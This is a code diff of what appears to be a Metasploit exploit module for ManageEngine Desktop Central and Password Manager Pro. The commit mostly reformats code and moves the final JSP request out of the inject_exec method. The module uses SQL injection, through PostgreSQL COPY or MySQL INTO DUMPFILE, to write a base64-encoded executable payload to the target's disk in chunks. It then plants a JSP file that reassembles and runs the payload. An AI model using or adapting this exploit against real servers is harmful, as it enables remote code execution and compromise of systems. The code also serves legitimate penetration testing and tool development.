@@ -159,9 +159,11 @@ def exploit
159
159
160
160
jsp_name = rand_text_alpha_lower ( 8 ) + ".jsp"
161
161
fullpath = web_root + jsp_name
162
+ inject_exec ( fullpath )
162
163
register_file_for_cleanup ( fullpath . sub ( '../' , '' ) )
163
164
164
- inject_exec ( jsp_name , fullpath )
165
+ print_status ( "#{ peer } - Requesting #{ jsp_name } " )
166
+ send_request_raw ( { 'uri' => normalize_uri ( jsp_name ) } )
165
167
end
166
168
167
169
# Test for Password Manager Pro
@@ -443,9 +445,7 @@ def inject_sql(sqli_command, target = nil)
443
445
end
444
446
end
445
447
446
- #
447
448
# Generate the actual payload
448
- #
449
449
def generate_exe_payload
450
450
opts = { :arch => @my_target . arch , :platform => @my_target . platform }
451
451
payload = exploit_regenerate_payload ( @my_target . platform , @my_target . arch )
@@ -458,11 +458,8 @@ def generate_exe_payload
458
458
Rex ::Text . encode_base64 ( exe )
459
459
end
460
460
461
- #
462
- # Uploads the payload in chunks and then calls the JSP that will assemble them
463
- # (runs the actual exploit).
464
- #
465
- def inject_exec ( jsp_name , fullpath )
461
+ # Uploads the payload in chunks
462
+ def inject_exec ( fullpath )
466
463
base64_exe = generate_exe_payload
467
464
base64_exe_len = base64_exe . length
468
465
@@ -483,25 +480,22 @@ def inject_exec(jsp_name, fullpath)
483
480
# The Windows path has to be escaped with 4 backslashes because ruby eats one
484
481
# and the JSP eats the other.
485
482
files = Array . new ( chunks )
486
- files . map! {
487
- |file |
483
+ files . map! do |file |
488
484
if @my_target [ 'Platform' ] == 'win'
489
485
file = "C:\\ \\ windows\\ \\ system32\\ \\ " + rand_text_alpha ( rand ( 8 ) +3 )
490
486
else
491
487
# Assuming Linux, let's hope we can write to /tmp
492
488
file = "/tmp/" + rand_text_alpha ( rand ( 8 ) +3 )
493
489
end
494
- }
490
+ end
495
491
496
- print_status ( "#{ peer } - Payload size is #{ base64_exe_len } , injecting #{ chunks } " +
497
- " chunks in #{ time } seconds" )
492
+ print_status ( "#{ peer } - Payload size is #{ base64_exe_len } , injecting #{ chunks } chunks in #{ time } seconds" )
498
493
499
494
if @my_target [ 'Database' ] == 'postgresql'
500
495
inject_sql ( "copy (select '#{ base64_exe [ copied , chunk_size ] } ') to '#{ files [ counter ] } '" )
501
496
else
502
497
# Assuming mysql
503
- inject_sql ( "select '#{ base64_exe [ copied , chunk_size ] } ' from mysql.user into dumpfile" +
504
- " '#{ files [ counter ] } '" )
498
+ inject_sql ( "select '#{ base64_exe [ copied , chunk_size ] } ' from mysql.user into dumpfile '#{ files [ counter ] } '" )
505
499
end
506
500
register_file_for_cleanup ( files [ counter ] )
507
501
copied += chunk_size
@@ -513,12 +507,10 @@ def inject_exec(jsp_name, fullpath)
513
507
chunk_size = base64_exe_len - copied
514
508
end
515
509
if @my_target [ 'Database' ] == 'postgresql'
516
- inject_sql ( "copy (select '#{ base64_exe [ copied , chunk_size ] } ') to " +
517
- "'#{ files [ counter ] } '" )
510
+ inject_sql ( "copy (select '#{ base64_exe [ copied , chunk_size ] } ') to '#{ files [ counter ] } '" )
518
511
else
519
512
# Assuming mysql
520
- inject_sql ( "select '#{ base64_exe [ copied , chunk_size ] } ' from mysql.user into " +
521
- "dumpfile '#{ files [ counter ] } '" )
513
+ inject_sql ( "select '#{ base64_exe [ copied , chunk_size ] } ' from mysql.user into dumpfile '#{ files [ counter ] } '" )
522
514
end
523
515
register_file_for_cleanup ( files [ counter ] )
524
516
copied += chunk_size
@@ -527,15 +519,10 @@ def inject_exec(jsp_name, fullpath)
527
519
528
520
jsp_encoded = generate_jsp_encoded ( files )
529
521
if @my_target [ 'Database' ] == 'postgresql'
530
- inject_sql ( "copy (select convert_from(decode('#{ jsp_encoded } ','base64'),'utf8'))" +
531
- " to '#{ fullpath } '" )
522
+ inject_sql ( "copy (select convert_from(decode('#{ jsp_encoded } ','base64'),'utf8')) to '#{ fullpath } '" )
532
523
else
533
524
inject_sql ( "select 0x#{ jsp_encoded } from mysql.user into dumpfile '#{ fullpath } '" )
534
525
end
535
- print_status ( "#{ peer } - Requesting #{ jsp_name } " )
536
- send_request_raw ( { 'uri' => normalize_uri ( jsp_name ) } )
537
-
538
- handler
539
526
end
540
527
541
528
def check_desktop_central_8 ( body )
0 commit comments